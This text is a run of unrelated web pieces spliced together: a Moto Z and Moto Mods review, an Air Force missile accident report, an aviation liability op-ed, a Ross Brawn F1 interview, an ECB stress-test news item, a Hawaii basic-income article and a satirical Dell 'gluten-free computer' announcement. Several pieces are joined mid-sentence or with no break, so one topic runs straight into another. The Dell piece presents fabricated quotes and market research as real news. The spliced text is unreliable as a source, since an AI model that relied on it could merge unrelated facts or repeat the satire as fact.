Gaming too is great on the Moto Z phones. I've been playing various casual games like Shooty Sky and Rooms of Doom without issue. Trainers take note: Pokémon GO runs as well on this phone as any I've tried. More visually complex games like CSR Racing 2 and Warhammer 40k: Freeblade perform extremely well too. The only issue I'd cite is that the phone can get uncomfortably warm during extended use. I assume this is because it's thin and has an aluminum frame that transmits heat away from the internals.
While I'm happy with the raw speed on display here, that leads to less than impressive battery life. The Moto Z has a small 2600mAh battery—that's even smaller than the Moto G4. The Moto Z Force bumps that up to 3500mAh. With a 5.5-inch 1440p AMOLED, I was not expecting the battery life on the Moto Z to be great, but actually living with it is problematic. Smartphone battery life has been moving in the right direction over the last few years as even Samsung started making phones thicker to accommodate larger cells. The Moto Z, however, is solidly below average.
I'm able to make it through a day with the Moto Z most of the time. This phone is usually begging for the charger in the early evening, and I'd certainly never go out after work without juicing it up a little (luckily, Motorola's Turbo Power charging is really fast). With moderate usage including messaging, light gaming, email, and web browsing, I'm seeing barely three hours of screen time on the Moto Z. I don't think that's good enough, and this phone is new. The battery life will deteriorate over time. Under similar conditions, the larger battery in the Moto Z Force will make it through a day no problem with capacity to spare. It will easily hit five hours of screen time too.
So, I'd consider the Moto Z Force's battery life to be average to slightly above average for a 5.5-inch phone. Meanwhile, the Moto Z is barely limping along. In both cases, I think Motorola is overstating the battery life in its specs. But wait, there's always the battery Mod, right?
Mods
Motorola's big push this year is the line of modular accessories called Moto Mods. The Mods are held on with magnets and fit around the camera lens, sometimes leaving the sensor in a comically deep well. I have a hard time calling these "modular" because they don't replace anything on the phone. You're just sticking something to the device with magnets, but if modular is the buzz word, then modular it is.
There are three Mods at launch, and more will be released later. There's even a dev kit for third-parties to design new Mods. Motorola says the Mods it's selling now will be compatible with future Moto Z phones, which I suppose might help you justify the exorbitant prices. I have a very hard time recommending these just on the basis of the cost/value. Let's hit all three.
Incipio offGRID Power Pack
The Power Pack battery Mod is probably the one that makes the most sense. I can see people buying this, because frankly, the Moto Z's battery life is poor. So, you slap the Mod on and get 2200mAh of extra power, plus wireless charging (in some versions). Neat. What's not neat is that the Power Pack makes the Moto Z very uncomfortable to hold. It adds 6.2mm of thickness for a total of 11.39mm with the Z and 13.19mm with the Z Force. That's really thick—it's like going back in time three of four years to when phones were beefier.
More significant here is the weight. The Moto Z with Mod is (by my measurement) 232g. That is heavier than the massive Cat S60. The Z Force with Mod is 256g. Anyone who tells you the battery Mod is "sleek" or "compact" is either confused or only using those words in relation to an external battery pack connected via a USB cable. That's what these are... minus the cable and plus some magnets.
When connected, the Power Pack charges your device battery, keeping it at 100%. There's also an efficiency mode that keeps it at 80%. Whenever a Mod is connected, you'll get a notification and settings screen that shows the battery level. Because this is an external battery that is charging your internal one, there is going to be some power lost due to inefficiency—that's just how batteries are. Motorola's claim that the Power pack adds 22 hours of battery life seems bananas to me, even if that was all standby. I'm seeing another 1.5 hours of screen time with this Mod attached. In general use, it'll keep the Moto Z going for more than a day in total (probably 8 or so extra hours), but not much more.
For $60-80, I suppose I could see people getting the Power Pack. I just don't think it's something you're going to want to have attached to the phone all the time. It's simply too big and heavy. Also keep in mind you can only charge it when it's attached to the phone, at least officially. My wireless version appears to charge wirelessly by itself, but that might not be a supported function.
JBL SoundBoost Speaker
With the $80 SoundBoost speaker, we're starting to get into "why does this exist?" land. When you snap this Mod on the back of your phone, you instantly get big stereo speakers. They are undeniably the best speakers attached to a phone, if you consider the magnets "attached." That's also kind of the problem—they are always attached to your phone. The only way the speakers work is by docking to the Moto Z. There's no Bluetooth and no audio-in.
So, you are expected to set your phone down with the speaker attached, making use of the handy built-in kickstand. Okay, what if you want to use your phone? You pick up the phone/speaker complex and realize that it's unreasonably heavy and thick. It basically doubles the weight of the phone (282g with the Moto Z). There's also no way to hold the device without muffling the sound. Yeah... I guess just leave it on the table or take the speakers off, thus ending the dance party.
The device has a 1000mAh built-in battery powering two 3W speakers. And oh my goodness, the grilles get so dusty. There's also a Type-C port for charging without the phone, unlike the Power Pack. It gets loud and the bass is better than any phone's speakers. I feel like it gets somewhat muddy when you crank the volume, and it's not really as good as similarly priced Bluetooth speakers. The battery life is rated at 10 hours, at which time it will pull from your phone until that dies too.
To be honest, it makes so much more sense to get a Bluetooth speaker that will have better battery life, better sound, and not make your phone inconvenient to use. A Bluetooth speaker also works with other phones, which the SoundBoost does not. For example, the JBL Flip 3 is the same price as the SoundBoost, and it's better in every way.
Moto Insta-Share Projector
I'm sure some people will buy the battery Mod, and a few will even get that JBL speaker Mod. The Moto Insta-Share Projector, on the other hand, will not sell very many units. This device is priced at $300, and like the speaker, it requires your phone to be connected, and it only works with Moto Z phones.
When you dock the projector, you can long-press the button on the side to turn it on. Whatever is on your screen will be output via the projector, which has a resolution of 480x854 (FWVGA). Motorola's stock home screen rotates horizontally, so it looks alright on the projector, but anything vertical will look very compressed and blocky because of the low resolution. Motorola says the projector can output 50 lumens, meaning you need a very dim room for the image to look sufficiently bright.
As long as you take the resolution into account, you can make images or slides that look acceptable on the Moto Insta-Share Projector. I think that's the main use case here. A short presentation; emphasis on short, because the battery life isn't good. You'll get an hour on the included 1100mAh battery, and after that it draws from the phone. You can eke out a bit over two hours if the device is charged up when you start. Watching a movie on this projector is doable, but it won't look great and you're pushing the battery life.
The other drawbacks here are the same I talked about with the SoundBoost. There are similarly priced standalone picoprojectors with similar or better specs for the same price, and this device requires your phone to be attached to work. If you're messing with a slideshow, you'll have to hover over the projector to tap the screen or rig up some sort of wireless remote. It doesn't seem very convenient when you actually think about using it. And $300. That's almost 50% the cost of the Moto Z.
Software
The software continues to be one of the best parts of Motorola's Android phones. This is stock Android with Motorola's suite of enhancements, although there are a handful of Verizon-centric tweaks that I'm not particularly thrilled about. For example, there's a ton of bloat on these Droid edition phones. Not only do you have a ton of Verizon apps like VZ Protect, VZ navigator (who uses this garbage?), and Message+, but there are also plenty of third-party junk apps like Hotels.com, NFL Mobile (unless you're into that), Slotomania, Juice Jam, and Cookie Jam. You get two jams in your phone, and you didn't even have to ask. What a deal! But really, this is awful.
Okay, so you get the junk disabled or uninstalled, and you're left with a pretty clean build of Android. Interestingly, there's no Google Now Launcher included on this phone out of the box. As is tradition with the Droid phones, you get a modified AOSP launcher with a custom widget (it works on other home screens too). It's called the Command Center, and on the Moto Z it helps you keep track of the battery level of your phone and Mod. It shows the clock, weather, and date by default. Press the plus button at the bottom and it expands to show high/low temperatures on one side, and battery levels on the other. It's kind of cool if you're using a Mod, but not very useful if you aren't.
This device supports Moto Actions, Moto Voice, and Moto Display. These continue to be some of my favorite additions to Android because they add to the experience without getting in the way. Moto Display is activated when notifications arrive, you pick up the phone, or you wave over the screen. The display wakes up (the AMOLED is great for this) with a simple icon, clock, and date. You can press the icons to see notification text, and swipe to open or dismiss. This year's Moto Display icons are lower on the screen than last year, which is probably smart for a big phone.
Moto Actions include various gestures that can trigger actions on the phone. I'm a big fan of the camera twist and flashlight chop gestures. I use them all the time. The others like flipping the phone over for DND and picking it up to silence the ringer are fine—nice to have, but not vital to my enjoyment of the phone.
Then there's Moto Voice with its custom launch phrase and screen-off functionality. This is still a nice thing to have, but Google's screen-off hotword feature on Nexus devices has taken the wind out of Moto's sails somewhat. There's not much new here, with the exception of a one-handed mode triggered by swiping up from the nav bar. Although, the shrunken UI is centered, which doesn't seem correct. I worry that Motorola isn't innovating on the software side as much as it once did, preferring instead to focus on selling hardware Mods.
The Moto Z Droid editions ship with Android 6.0.1. That's as good as it gets for the moment. In a few weeks, that'll be yesterday's news. Nougat will come to these phones I'm sure, but it will be a long time. I'm basing this not on any sort of precognitive software forecasting ability, but simply on a reading of recent history. Verizon drags its feet, so even when Moto gets an OTA out to a very similar unlocked |
western state of Colorado, but came to light only Friday as the Air Force released a report with some details of the accident.
The Air Force said the accident caused no injuries and did not pose a public safety risk. The airmen were stripped of their clearances to work on the nuclear missile for a lengthy period of time, but since then they have been retrained and returned to their jobs.
The Air Force report of the incident said that the missile "became non-operational" during a diagnostic test on May 16, 2014, and that a "mishap crew" chief investigating why the next day "did not correctly adhere to technical guidance... subsequently damaging the missile."
The Air Force did not release further information about the incident, many details of which remain classified. But it said there was "clear and convincing evidence" of what caused the accident.
It said the mishap crew chief did not follow technical guidance in investigating why the missile was not working correctly and "lacked the necessary proficiency level" to anticipate what might go wrong while working on it.
The Air Force said it had modified its training as a result of the incident and alerted other units that operate Minuteman III missiles about the circumstances that led to the Colorado accident.As large as the aviation industry looks to those on the outside, once you’re on the other side of the fence, it doesn’t take long to realize that it’s a very small world. One of the big challenges facing that world has been from product liability issues.
The $100 screw. The $9.00 gallon of fuel. The $5,000 part that costs $50 at a local hardware store. We’ve all seen it. I recall the day a friend told me the seat back for my Pitts S-2B, which is literally a small flat piece of ordinary plywood, cost something like $600. I’m not averse to parts manufacturers turning a profit, but that left my mouth hanging open. My friend? He just shrugged and walked away, as though this was ordinary and normal. The saddest part is that I realized he was right. It is.
Liability concerns are a major expense and motivator for many industries. That’s why Superman costumes come with warnings that “the cape does not enable the wearer to fly”, Zippo cautions users not to ignite the lighter in your face, and irons are sold with tags advising against ironing clothes while they’re being worn. But for general aviation, this sort of thing is dragging the lot of us down as surely as a cement block tossed into the murky waters of the East River.
The classic example of this phenomenon can be seen in the high cost for new products like airplanes. Look at the sharp rise in the price of a new Skyhawk over the past thirty years. The first one was built in 1955, so the research and development costs for this model must have been recouped decades ago. A new Bonanza is a cool million. Low production volumes and high liability costs — a chicken and egg pair if there ever was one — are prime culprits for that inflation.
In fact, for about a decade, the general aviation industry essentially stopped producing new piston airplanes. From the mid-80s to the mid-90s, product liability was such that nearly every major OEM exited the business. The insurance costs rose, the manufacturers had no choice but to pass that on to the consumer, who was summarily priced out of the market. Sales fell, per-unit liability costs rose further, and the cycle spiraled downward until even those companies which still had an operating production line were only turning out a handful of airplanes per year.
The General Aviation Revitalization Act of 1994 helped somewhat. Aircraft manufacturers started producing planes again. The Cirrus, DiamondStar, Columbia, and other such advanced aircraft were brought to market. New avionics systems were developed. But the liability problem never went away. Frivolous lawsuits still abound, grinding away at our diminished world like a wood chipper consuming a sturdy log. Manufacturers have been sued for things as idiotic as not telling a pilot that the engine wouldn’t operate without fuel. I don’t have to tell you how this lunacy looks to people from other countries, do I?
I often wonder, what would an aircraft like the RV-6 cost if it was certified? You can buy one for as little as $45,000 today. Speaking of Amateur-Built aircraft, liability is one of the primary reasons advancements such as electronic ignition proliferate in the E-AB world when they’re almost unheard of in aircraft with a standard airworthiness certificate.
Mike Busch has penned many articles about the ways liability concerns drive decisions in the maintenance business. The result? Lower efficiency, higher cost, and at times even a decrease in the level of safety that is supposedly paramount. But it goes beyond that. Many products which would otherwise be brought to market are not because liability issues tilt the scale away from taking that risk in the first place.
Even proven, well-established products are sometimes lost to this phenomenon. Seven years ago, the largest manufacturer of aircraft carburetors, Precision Airmotive, abruptly decided to stop making, selling, and supporting them. In a letter to customers on their web site, they wrote:
Precision Airmotive LLC has discontinued sales of all float carburetors and component parts as of November 1, 2007. This unfortunate situation is a result of our inability to obtain product liability insurance for the product line. Precision Airmotive LLC and its 43 employees currently manufacture and support the float carburetors used in nearly all carbureted general aviation aircraft flying today. Precision has been the manufacturers of these carburetors since 1990. These FAA-approved carburetors were designed as early as the 1930s and continue to fly over a million flight hours a year. After decades of service, the reliability of these carburetors speaks for itself. Nonetheless, Precision has seen its liability insurance premiums rise dramatically, to the point that the premium now exceeds the total sales dollars for this entire product line. In the past, we have absorbed that cost, with the hope that the aviation industry as a whole would be able to help address this issue faced by Precision Airmotive, as well as many other small aviation companies. Our efforts have been unsuccessful. This year, despite the decades of reliable service and despite the design approval by the Federal Aviation Administration, Precision Airmotive has been unable to obtain product liability insurance for the carburetor product line. While we firmly believe that the product is safe, as does the FAA, and well-supported by dedicated people both at Precision and at our independent product support centers, unfortunately the litigation costs for defending the carburetor in court are unsustainable for a small business such as Precision.
Even if you don’t own an airplane, you’ve probably noticed that aircraft rental is prohibitively difficult and expensive. Companies like OpenAirplane are trying to make a dent in this formidable problem, but many aircraft types simply cannot be rented at all for solo flight anymore. Seaplanes, aerobatic aircraft, twins, turbines, and many other types might as well not exist unless you have the cash to buy them outright. And those that are still rented require extensive checkouts, form filling, and a large expenditure of time, money and energy. Why? To check every possible box off when it comes to liability. The manager of one FBO here in Southern California told me in no uncertain terms that it wouldn’t matter if Bob Hoover himself walked through the door, he wouldn’t get one iota of consideration in that regard. Does that sound right to you?
There’s an obvious answer here. If you’re thinking tort reform, you’re only half-right. Suing manufacturers for accidents that are clearly not their fault simply because the plaintiff knows they’ll settle is only ensuring the next generation won’t be able to fly. The real solution is to — in the words of a pilot I know — put on our big-boy britches and come to terms with the fact that life in general, and aviation in particular, involves risk. From the Doolittle Raiders to the folks at Cirrus Aircraft, history shows over and over again that risk is a part of every successful venture. We’d all love to live in a world where there is no risk, where following the dictates of Title 14 would ensure nothing ever goes wrong and nobody ever gets hurt. It’s a fallacy.
Crushing liability costs aren’t limited to carbs. And many parts of our airplanes are manufactured by a very small number of companies. Prop governors come to mind. Vacuum pumps. Brakes. Fasteners. If one firm is having trouble staying in business, odds are the others might be as well. It doesn’t portend a rosy future for the industry, especially when you consider that many of the advances we now enjoy came from small companies just like Precision Airmotive.
Sure, with Experimentals you have more freedom to put what you want on your aircraft. But many of the components on experimental aircraft are certified anyway. Most of them essentially have certified engines, props, skins, wiring, brakes, tires, fasteners, etc. This liability issue affects everyone regardless of what it says on the plane’s airworthiness certificate. This sort of thing isn’t limited to aviation. But GA is particularly vulnerable to abuse because of the implication that anyone involved in it must have deep pockets. The end result is a case like this one, where a jury awarded $480 million verdict against an aircraft manufacturer even though the NTSB indicated pilot error was the cause.
Liability concerns hurt everyone in aviation, not just those with reciprocating single-engines. I’ll give you one example from the corporate and charter business that I work in: time and time again, thousands of dollars of catering from one of our charter flights will go untouched by the passengers. We’ll land at our destination with a eighty pounds of beautifully packaged and prepared food. Five-star presentation of the highest-quality and healthiest food you’ll see anywhere.
At the same time, just beyond the airport fence are people who go to bed hungry. Logic dictates that we might want to put two and two together. But because the operators and customers of these aircraft are high net worth individuals who would certainly find themselves on the receiving end of a lawsuit at the first indication of food poisoning or other malady, load after load of this food goes into the trash every single day all across the country. Over the past three years I’d imagine the total weight of the food from flights I’ve flown that went into the trash would total a couple of tons.
While lawsuits and courtrooms have their place, I personally think it’s high time our society acknowledged the fact that safety does not equate an absence of risk. Failure to do so is putting us, our industry, our economy, and even our way of life at risk. That’s the cost of the society we’ve built. Is it worth it?
This post first appeared on the AOPA Opinion Leaders blog.How can F1 be more appealing to fans, still be of interest to car manufacturers and keep its teams in business? Maurice Hamilton quizzes Ross Brawn on his plans for the future of F1 in the first of ESPN's two-part exclusive interview with F1's new managing director of motorsport.
Ross, you were away from Formula One for three years. From a distance were you able to look at it and see things that perhaps you wouldn't have seen if you were in it? Do you think it's the case that people in Formula One are actually too close to it to see its faults?
It's a very good point and I think it was one of the motivations for me to get involved again, because with that distance, watching races on the television rather than being on the pit wall and seeing all the information, I realised that we do Formula One a bit of a disservice. You know I was deeply involved in strategy and the way the races work, but I would sit there on a Sunday afternoon and watch the race at home not knowing what the hell was going on!
And if I can't understand it and I was having to get my laptop out to look at the times and who had made a pit stop and so on and so forth... and I know that can be a very interesting element of a race, but I started to believe that what you should be able to do is pick up a race at any stage and know what's going on. If you have got to follow a race from lap one to the very end and you've got to work out every nuance then we are getting a bit complicated. So certainly that period away, for me, made me realise that we do need to step back and look at the races and see what the fans are seeing. If you're at a circuit and you haven't got access to that information, if you're a fan in the grandstand, it must be difficult.
Is that not a product of our time because Formula One is more technically complex than ever before? How do you make it simpler if you can't avoid all the technology they have and the banks of people with keyboards in the back of the garage? How do you lessen that?
Well, I've got to get into this now, if I'm honest. I've obviously had lots of thoughts over the last few months about this topic -- when I started doing some consultancy for Liberty it started me reengaging again.
I want to talk to a lot of people and see how we can progress this, but I think there are different levels where we can offer Formula One to different types of enthusiasts. We can improve the access to the information that the real enthusiast needs to look at all the detail, but we have to go back to the point where the guy who turns up to a circuit on a Sunday can follow a race without the need to access a laptop and so on and so forth.
The tyre strategies are complex, there are different compounds, and unless you know what compound one car's on and how many pit stops they've made and where they are and work out the gaps and know how long a pit stop takes and you can work out if he's in the window and all the rest of it, then it's difficult to follow. I think that side we can make simpler and then the technology we can start to give access to fans who want to explore that side as well. Why not try to create the whole spectrum of appeal of Formula One. I think the technology is great, but it doesn't appeal to everyone -- in the same way that the fans of any other sport are all at different levels. We need to create that tier for people to choose where they want to enter Formula One as a fan.
Mark Thompson/Getty Images
You're, in effect, talking about a sea change in the way Formula One thinks because of all this secrecy that the teams have. What we really need to do is get that information out there, but I suppose if they are all doing it then it's the same for everybody...
Well, I hope so. I think the thing that I would like to achieve is to engage with everyone on this and if we do it over a sensible timescale when nobody is disadvantaged, then I would have thought that everyone would see the benefits to the sport of that approach. I don't have all the answers, but I want to work with the teams and the broadcasters and different partners in Formula One and try and find the answers. I guess what I'm advocating is at least a process to start that happening. It's not really been done before, it's been crisis management when we suddenly decide we've got a drama and something is not working -- there's a team dominating or there's a report that viewing figures have dropped -- and suddenly we have to change things. I never worked like that in the race teams I was in, I started the process and just constantly kept that process going so the thing kept improving.
Every decision that's made in Formula One in the future, I hope, will take account of what we are giving to the fans and how we look from the outside as well as what we are doing inside. We as a commercial rights holder, and in my position, every technical decision, every sporting decision, I'll be there saying 'What effect does that have on the show, what effect does that have on the fans' enjoyment on Formula One'. Okay, I know what it does for the engineers and I know perhaps what it does for the drivers or whoever it is, but let's start that process so that every time a decision comes up, part of that process and consideration is 'what does it do for the show and for the fans?'.
To do that you have to be, as you are aptly named, the managing director of motorsport, which is a new role that we are not accustomed to. When you were running Ferrari, Benetton and running your own team, would you liked to have had a managing director of motorsport? Would you have liked to work with someone who is doing what you are proposing to do?
On that side of the sport, yes I would. That's what was so appealing to me in this position. Bernie [Ecclestone] has done an amazing job but he has been very autocratic in the approach he's taken and looked at it from a certain perspective. Can we look at it from a few different perspectives now? Maybe we won't be as strong at doing what he was able to do, but maybe we can be stronger in other areas and hopefully take the sport forward.
Let's say you agree on a certain route you want to follow, will you be able to implement that with the FIA and are you confident that if you find what you hope will be a solution you will be able to carry it through? First of all, there won't be one single solution that makes Formula One great, it will be a process and culture and philosophy. The FIA are the regulators and have to make sure the sport is run fairly and safely, and of course they will have their ideas about what can be done to develop the sport, you have the teams, whose priority it is to compete, and then you have the commercial rights holder, ourselves, and we want to have a more consistent say in how good the show is and how the sport is shaped to make it as appealing as possible to the fans and the promoters and the broadcasters. We are going to have a more consistent input into that process. We can't do it ourselves, if these groups say no then we can force it through and there is no mechanism to say 'that's going to happen', but if we can present good arguments and keep consistently pushing then I believe it can improve.
The future of F1's engines
You've mentioned the word "show" a couple of times, but do you think there's an argument that Formula One should be relevant to road cars? Because that seems to be a way we've gone with the current formula, particularly with power units.
I think we are at a bit of a crossroads. Cars are developing more quickly at the moment than probably any of us can remember. We've got hybrids, full electrics, we've got fuel cells and we've got autonomous cars, self-driving cars. I've got a car now, which doesn't let me, but I could take my hands off the wheel on the motorway and it will keep going perfectly happily, watching the lanes and controlling everything. Clearly that's not what we would want in Formula One, so are we reaching a stage where those things are starting to come apart? If we say Formula One has to align itself with road cars, then logically we end up with an electric car that drives itself, and nobody wants that in Formula One. We have gone partway into the hybrid route, and they are fabulous engines in terms of the technology, but I want to engage with the manufacturers and get their views on what is the racing engine of the future.
They must all recognise that if we just keep aligning ourselves, we are going to end up with an electric car and I don't think that's what Formula One needs to be. But I don't have the solution. I'm not saying we should go back to where we were because that would be a shame if we just went back to where we were five years ago because these engines are amazing pieces of technology -- and I think that is another thing we didn't sell very well, how much they have achieved. But I don't see how we can carry on on that path, so I want to sit down with the manufacturers and understand what their objectives are, because they invest a huge amount in Formula One, and see what the path is with the engines in the future. It's another key element.
Mercedes AMG
Aren't the manufacturers, such as Renault and Mercedes, likely to say that they have to justify the budget they are putting into F1 by relating it to road cars? Is that not the reason they are there?
I think R&D is definitely one of the justifications for why some of the manufacturers are there and we respect that -- we have to find a solution somewhere. But I don't believe any of them can genuinely sit there and say we should continue to follow the technology of road cars, because we know where that is going to end. We know that can't be where Formula One wants to be, with milk floats running around.
The noise is part of the emotion and it's one of the more constant feedbacks we get, that the noise and passion has disappeared, so what can we do to regain that? Maybe we can't, maybe with the way we've gone we will have to live with that and find some solution. I think it's a very important debate over the next period, but we have to respect the amount the manufacturers have invested in Formula One and the engines. It's huge investment and not that sort of thing you can write off.
Cutting costs
The manufacturers are also likely to say to you, 'is there any way that Formula One can have a situation where it's easier for more teams to win and where we don't have a period of dominance?' Now, you know all about that from Ferrari at the beginning of the 2000s, is there any way to change that so we can a more fluid competitive order?
What we still have, and undoubtedly what we will have with these new regulations, is a pretty steep performance against investment slope. It's still there so that the more money you put in, the faster you go. Of course, to keep the gap down as narrow as possible you want that as flat as possible -- you can pour the money in but you won't get the rewards.
The return on investment, in terms of performance, is still steep, so the more money you invest the faster you go -- as long it's done properly like when you get a competent team like Mercedes doing it then that's what happens. What we really need to do is reduce that slope and find ways within the technical regulations of rewarding less for heavy investment. That's the concept, achieving it is more difficult.
But again, this idea of this process going on all the time, of chipping away and getting back to where we want to be, there won't be one solution where we can say 'if we do that we can halve the slope'. But every decision that's made, we have to take that into account. Are we giving more scope for heavy investment to go further or are we reducing it? We just need to keep thinking about it and making sure that all the discussions that happen are going in the right direction to pull the slope down.
Budget caps have been discussed. People say that they don't work, but they have never actually been tried. There was a voluntary budget cap or resource restriction that didn't work because not everyone volunteered to it in reality. So that is never going to work if you have got some of the teams doing it and some of the teams not. I would still like to have a discussion about budget caps and control and see where people stand on that and if we feel it could be a solution. That, for sure, would then bring a limitation to what people can do. But maybe it's nirvana, maybe that is something that can't be achieved because of the range of teams in different countries and all the different considerations. I'm not saying that we have to have a budget cap, but I think we should certainly discuss it because that does address many issues. But you've got all the nuances to it because do the drivers come into the budget cap or not and so on and so forth. A huge amount of debate went on a few years ago and I think that could be picked up again to just see if that is a solution that could work.
Then, of course, we've got the issue of the distribution of funds to the teams, which we can't do anything about now because we have contracts with the teams and there is no proposal to change that, but they are coming up for renewal in 2020 and we need to look at that and see if there is a better way for Formula One overall to distribute the funds. My personal view is that a healthy Formula One is where there is a good stock of teams that can stand on their own two feet, not be manufacturer teams, not be funded because there is a different set of objectives, but the Williams, to some degree McLarens, Force Indias and Saubers -- so those teams can stand on their own two feet in a respectable way and put up a decent job. If those teams spend far more money than they have and go bust then we can't stop that, but you want to get them over the breadline so at least if they do a sensible job with good management then they are going to have a good business and the businesses are going to be attractive and we are going to get new teams in.
Sutton Images
Attached to that is young drivers having to bring money to get into F1. Would you like to see a way of having a meritorious system whereby if you're really good you get in?
Absolutely, yes. It's a legacy of the fact that the smaller teams need drivers with funding to balance their books. The ideal situation is the smaller teams are the nursery grounds for young drivers to come through, and maybe even a compulsory nursery ground where you have a draft pick system, so that the guys coming through then have to drive for a small team for the first season of their career before they then have a move up to the top teams.
If you could imagine a scenario where we have Formula Three, Formula Two and Formula One, to have those championships as the path you have to go through to get into Formula One and you have to be in the top number of each championship to get your pass to go into Formula One, you would again start this process of having the best drivers in Formula One. You may have to look at some other formulae that qualify for F1, but those races could be taken around with Formula One so the fans get to know these young drivers. On a Sunday morning there would be a Formula Three and Formula Two race and the fans see those young drivers and start to engage and they see them coming up so that then, great, they get their chance in Formula One. That would be a wonderful way of broadening the entertainment, engaging with the young guys coming through and making sure that we only had drivers on merit in Formula One.
Check ESPN tomorrow for Part Two of the interview, in which Brawn talks about overtaking, blue flags and the relationship between FOM and the FIA.Almost one in five of the eurozone’s biggest banks have failed the European Central Bank (ECB)’s comprehensive test of their financial safety.
Twenty-five - including Greece's Eurobank Ergasias and Italy's Banca Monte dei Paschi - of the 130 lenders being assessed by the ECB have failed the stress tests - the biggest-ever single review of the single currency’s major banks.
13 of the 25 need to raise €25bn (£20bn) of fresh capital. The remaining 12 have already covered their shortfalls, the ECB said of the tests, which covered the banks' positions at the end of last year.
Both the ECB and European Banking Authority (EBA) released the results of its stress tests at 11am on Sunday.
The two bodies’ assessments, which model scenarios such as downturns in the housing market, a new recession and a spike in borrowing costs, cover similar ground but have important differences.
The ECB conducted an additional review of eurozone banks’ assets ahead of it taking over as the primary regulator of banks that use the single currency; the EBA’s tests also cover European banks that are not part of the euro, including British ones.
Rather than acting as a black mark against failing lenders, the tests are designed to restore confidence in the sector by giving banks that pass a seal of approval.
The EBA has previously held two rounds of stress tests, the last one in 2011, but they were seen as too soft.
The current round is the first to be conducted by the ECB. To pass, banks must have had a Tier 1 Capital ratio – a measure of their safety – of 8pc last year.
Under the adverse scenarios the ECB is simulating, this can fall to no more than 5.5pc.
All four British banks involved in the EBA process - Barclays, HSBC, Lloyds Banking Group and the Royal Bank of Scotland - passed the review, however, Lloyds suffered the biggest shock under the most extreme scenario.
All four plus another four banks and building societies are facing much sterner stress tests from the Bank of England. The Bank will release the results of its own tests in December.
Andrea Leadsom, economic secretary to the Treasury, welcomed the results. "A key part of our long term economic plan is to strengthen UK banks so that they can support the economy, help businesses, and serve customers," she said.
"I’m pleased to see that the UK banks have passed the EBA stress tests. This shows our robust reforms to build a more resilient banking sector are working," she went on.
“This unprecedented, in-depth review of the largest banks’ positions will boost public confidence in the banking sector,” said ECB Vice President Vitor Constancio.
“This should facilitate more lending in Europe, which will help economic growth," he continued.
Colin Brereton, economic crisis response lead partner at accouning giant PwC, said of the results: "Although this should restore some confidence and stability to the market, we are still far from a solution to the banking crisis and the challenges facing the banking sector.
"The Comprehensive Assessment was only a one-off test of solvency, not of ongoing viability. The test of long-term viability is whether banks can generate sufficient returns to cover all their costs, including capital costs."
Not everyone praised the results, however. Sven Ludwig, senior vice president of risk and analytics at risk firm SunGard said: "The stress test has been an extremely worthwhile process but is flawed because it focuses purely on capital strength and liquidity ratios."
“The regulator focusses on capital strength and liquidity and what is missing is the strategic element. Struggling banks can find themselves locked into a prison of liquidity and capital ratios."
"Capital, liquidity and profitability form a triangle which defines the health of a bank. Europe’s banks in aggregate have suffered seven years of low profitability. Without profits, banks cannot rebuild their capital base and will slowly fail," he concluded.
- IN FULL: the 25 banks to fail the ECB test
Eurobank
Monte dei Paschi di Siena
National Bank of Greece
Banca Carige
Cooperative Central Bank
Banco Comercial Português
Bank of Cyprus
Oesterreichischer Volksbanken-Verbund
permanent tsb
Veneto Banca
Banco Popolare
Banca Popolare di Milano
Banca Popolare di Vicenza
Piraeus Bank
Credito Valtellinese
Dexia
Banca Popolare di Sondrio
Hellenic Bank
Münchener Hypothekenbank
AXA Bank Europe
C.R.H. - Caisse de Refinancement de l’Habitat
Banca Popolare dell'Emilia Romagna
Nova Ljubljanska banka
Liberbank
Nova Kreditna Banka MariborEyes on the future
Innovation and forward-thinking may be Hawaii’s two biggest exports in 2017. Earlier this month, the state earned the distinction of being the first in the U.S. to formally accept the provisions of the Paris Climate Agreement after President Donald Trump decided to withdraw the nation from it, and now, Hawaii is taking the lead in embracing yet another innovative idea: universal basic income (UBI).
Hawaii state representative Chris Lee wrote a Reddit post about House Concurrent Resolution 89, a bill he says he introduced in order to “start a conversation about our future.” According to Lee, “After much work and with the help of a few key colleagues, it passed both houses of the State Legislature unanimously.”
The bill has two major provisions. First, it declares that all families in Hawaii are entitled to basic financial security. “As far as I’m told, it’s the first time any state has made such a pronouncement,” wrote Lee. The second provision establishes a number of government offices “to analyze our state’s economy and find ways to ensure all families have basic financial security, including an evaluation of different forms of a full or partial universal basic income.”
Image: OECD
The congressman thanked “redditors” in his post, as he said the site became his first resource in considering UBI, and added a Reddit-standard TL;DR at the end: “The State of Hawaii is going to begin evaluating universal basic income.”
A step forward
Under a UBI program, every citizen is granted a fixed income that’s not dependent on their status in life. Despite the current focus on the concept, it actually isn’t particularly new. In fact, former U.S. President Richard Nixon actually floated the idea back in 1969.
However, the benefits of such a program have become more appealing in light of recent technological advances, specifically, the adoption of automated systems that could result in widespread unemployment.
Existing pilot programs, however, seem to indicate otherwise.Round Rock, TX — Dell announces new gluten-free line of computers — the Artisan Line.
Frances Jamison, Product Line Manager of the Artisan line, described his inspiration at the kick-off:
“I was out to dinner with some friends recently at a very nice steak place, when I noticed on the menu that every steak was marked with a gluten-free symbol. At the end of the evening, I called the manager over and asked why in the world they would mark steak as gluten-free. He told me that after they labelled the steaks gluten-free that their sales went up by 25%. 25%! And that’s when I realized the depth of stupidity of the average consumer. The next day, the Artisan was born.”
The Artisan line appeals to the extreme snob/hipster demographic. Typically over-educated with copious disposable income, this group wants their purchases to be unique from the crowd. They crave to be the first to discover new trends or to rediscover old trends to make fashionable again. The Artisan line reaches all of those desires at once. A fantastically over-priced machine with retro technology (the Motorola 68000 processor debuted in 1979), the Artisan 3000 is a throwback to a simpler time of computing. It’s so slow, yet so expensive. Our test market said that the machine caused them to have time to contemplate existential issues while waiting for Gmail to load. Some even said that it brought them closer to Enlightenment with the extra time they had now that they had to wait for even the simplest tasks to load. They found it very freeing, and well worth the $1,979.99 they paid for it.
We also discovered during market research that as long as something is marked as “locally sourced”, “artisanal” or “vegan-aware” you could jack the price up to fantastic levels. However, we discovered that “gluten-free” is the gateway drug that draws the eye of the most consumers out there. People are now so used to looking for at at the grocery store or on menus that the eye longs to see it in any format it can consume. in trial runs, we had people who literally bought a computer 20 minutes earlier return that one just so that they could order the much more expensive gluten-free version.
Consumer Reaction
Inexplicably, the majority of consumers polled by the Brewblog almost clawed their way out of their chairs to purchase one of these unnecessary money vampires.
